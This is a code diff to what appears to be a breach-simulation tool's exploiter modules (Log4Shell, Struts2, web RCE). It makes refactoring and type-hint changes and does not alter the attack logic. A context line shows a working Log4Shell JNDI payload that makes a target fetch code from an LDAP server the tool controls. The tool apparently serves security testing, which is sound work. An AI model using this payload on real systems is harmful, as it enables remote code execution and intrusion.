diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py
index 5b78b0a95..2eada8a0d 100644
--- a/monkey/infection_monkey/exploit/log4shell.py
+++ b/monkey/infection_monkey/exploit/log4shell.py
@@ -104,11 +104,9 @@ class Log4ShellExploiter(WebRCE):
 
     def _stop_servers(self):
         logger.debug("Stopping all LDAP and HTTP Servers")
-        self._agent_http_server_thread.stop()
-        self._agent_http_server_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT)
+        self._agent_http_server_thread.stop(Log4ShellExploiter.DOWNLOAD_TIMEOUT)
 
-        self._exploit_class_http_server.stop()
-        self._exploit_class_http_server_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT)
+        self._exploit_class_http_server.stop(Log4ShellExploiter.DOWNLOAD_TIMEOUT)
 
         self._ldap_server.stop(Log4ShellExploiter.DOWNLOAD_TIMEOUT)
 
@@ -116,7 +114,6 @@ class Log4ShellExploiter(WebRCE):
         interface_ip = get_interface_to_target(self.host.ip_addr)
         return f"${{jndi:ldap://{interface_ip}:{self._ldap_port}/dn=Exploit}}"
 
-    # TODO remove duplication with infection_monkey.exploit.hadoop.HadoopExploiter.build_command
     def _build_command(self, path, http_path) -> str:
         # Build command to execute
         monkey_cmd = build_monkey_commandline(
diff --git a/monkey/infection_monkey/exploit/struts2.py b/monkey/infection_monkey/exploit/struts2.py
index 4f6d4f1fd..5efb7a64d 100644
--- a/monkey/infection_monkey/exploit/struts2.py
+++ b/monkey/infection_monkey/exploit/struts2.py
@@ -32,7 +32,7 @@ class Struts2Exploiter(WebRCE):
         return exploit_config
 
     @staticmethod
-    def build_potential_urls(ip: str, ports: List[Tuple[str, bool]], extensions=None):
+    def build_potential_urls(ip: str, ports: List[Tuple[str, bool]], extensions=None) -> List[str]:
         url_list = WebRCE.build_potential_urls(ip, ports)
         url_list = [Struts2Exploiter.get_redirected(url) for url in url_list]
         return url_list
diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py
index 1396b095d..715a94b1c 100644
--- a/monkey/infection_monkey/exploit/web_rce.py
+++ b/monkey/infection_monkey/exploit/web_rce.py
@@ -159,7 +159,9 @@ class WebRCE(HostExploiter):
         raise NotImplementedError()
 
     @staticmethod
-    def get_open_service_ports(victim_host: VictimHost, port_list, names):  # noqa: F821
+    def get_open_service_ports(
+        victim_host: VictimHost, port_list: List[Tuple[str, bool]], names: List[str]
+    ):  # noqa: F821
         """
         :param victim_host: VictimHost object that exploiter is targeting
         :param port_list: Potential ports to exploit. For example _config.HTTP_PORTS
@@ -223,7 +225,7 @@ class WebRCE(HostExploiter):
             return False
 
     @staticmethod
-    def build_potential_urls(ip: str, ports: List[Tuple[str, bool]], extensions=None):
+    def build_potential_urls(ip: str, ports: List[Tuple[str, bool]], extensions=None) -> List[str]:
         """
         Build all possibly-vulnerable URLs on a specific host, based on the relevant ports and
         extensions.
diff --git a/vulture_allowlist.py b/vulture_allowlist.py
index b8509e6b8..bb89a7eb7 100644
--- a/vulture_allowlist.py
+++ b/vulture_allowlist.py
@@ -5,9 +5,6 @@ Vulture doesn't mark these as dead again.
 """
 from infection_monkey.exploit.log4shell_utils.ldap_server import LDAPServerFactory
 from monkey_island.cc.models import Report
-from monkey_island.cc.services.reporting.issue_processing.exploit_processing.exploiter_descriptor_enum import (
-    ExploiterDescriptorEnum,
-)
 
 fake_monkey_dir_path  # unused variable (monkey/tests/infection_monkey/post_breach/actions/test_users_custom_pba.py:37)
 set_os_linux  # unused variable (monkey/tests/infection_monkey/post_breach/actions/test_users_custom_pba.py:37)